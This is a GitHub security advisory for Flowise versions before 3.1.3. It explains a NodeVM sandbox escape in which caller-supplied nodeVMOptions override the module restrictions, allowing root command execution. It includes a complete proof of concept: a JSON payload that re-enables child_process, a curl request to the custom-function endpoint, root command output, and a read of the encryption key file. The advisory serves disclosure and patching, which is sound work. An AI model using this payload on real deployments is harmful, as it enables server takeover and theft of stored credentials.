GHSA-3769-jgqc-cxm7
Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | flowise | < 3.1.3 | 3.1.3 |
| npm | flowise-components | < 3.1.3 | 3.1.3 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
A sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the
default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`.
### Details
The vulnerability is in `packages/components/src/utils.ts` at line 1755:
```typescript
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }
The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:
async (code, sandbox, options = {}) => {
const { nodeVMOptions = {} } = options;
// ...
const defaultNodeVMOptions = {
require: {
builtin: builtinDeps, // restricted allowlist — blocks child_process, fs, os, etc.
mock: secureWrappers
},
eval: false,
wasm: false
}
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings
const vm = new NodeVM(finalNodeVMOptions)
}
```
The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.
**Taint 01: Route Registration**
`packages/server/src/routes/node-custom-functions/index.ts` (line 8)
**Taint 02: Controller**
`executeCustomFunction()` passes `req.body` to service — `packages/server/src/controllers/nodes/index.ts` (line 90)
**Taint 03: Service**
`executeCustomNodeFunction()` loads the `customFunction` node and calls `init()` with user-provided `javascriptFunction` — `packages/server/src/utils/executeCustomNodeFunction.ts` (line 49)
**Taint 04: Sandbox Entry**
Code runs inside NodeVM via `executeJavaScriptCode()` — `packages/components/src/utils.ts` (line 1760)
**Taint 05: Escape**
Inside the sandbox, the attacker requires `flowise-components/dist/src/utils.js` by absolute path (bypassing the module allowlist), obtaining a reference to `executeJavaScriptCode()` itself
**Taint 06: Override**
The attacker calls `executeJavaScriptCode()` with `nodeVMOptions: { require: { builtin: ["*"] } }`, which overrides the security defaults at line 1755: `{ ...defaultNodeVMOptions, ...nodeVMOptions }`
**Taint 07: RCE**
Inside the nested VM, `require("child_process")` succeeds. Arbitrary commands execute as root.
### PoC
**Step 1: Start Flowise**
```bash
docker run -d --name flowise-poc -p 3000:3000 \
-e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \
flowiseai/flowise:latest
# Wait ~30s for startup
curl http://localhost:3000/api/v1/version
# {"version":"3.1.1"}
```
**Step 2: Obtain Bearer Token**
Register an account, then create an API key:
```bash
# Register
curl -s -X POST http://localhost:3000/api/v1/account/register \
-H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","password":"Attack12345","name":"Attacker"}}'
# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)
# Copy the key — this is the Bearer token used below.
```
**Step 3: Create Payload**
```bash
cat > exploit.json << 'EOF'
{
"javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");
return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"
}
EOF
```
**Step 4: Exploit**
```bash
# Pre-check: file does not exist
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# ls: /tmp/RCE-PROOF.txt: No such file or directory
# Execute
curl -X POST http://localhost:3000/api/v1/node-custom-function \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN>" \
-d @exploit.json
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt
docker exec flowise-poc cat /tmp/RCE-PROOF.txt
# uid=0(root) gid=0(root) groups=0(root)...
docker exec flowise-poc cat /root/.flowise/encryption.key
# GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb
```
<img width="1919" height="1033" alt="image" src="https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc" />
### Impact
Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at `/root/.flowise/encryption.key` (which
decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at `/root/.flowise/jwt_auth_token_secret.key` (which allows forging authentication tokens for any user), and establish persistent
access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3769-jgqc-cxm7
- https://github.com/FlowiseAI/Flowise/pull/6306
- https://github.com/FlowiseAI/Flowise/commit/3086cb7e323bb96c5a581d3232ef975b0d92183d
- https://github.com/FlowiseAI/Flowise
- https://github.com/FlowiseAI/Flowise/releases/tag/[email protected]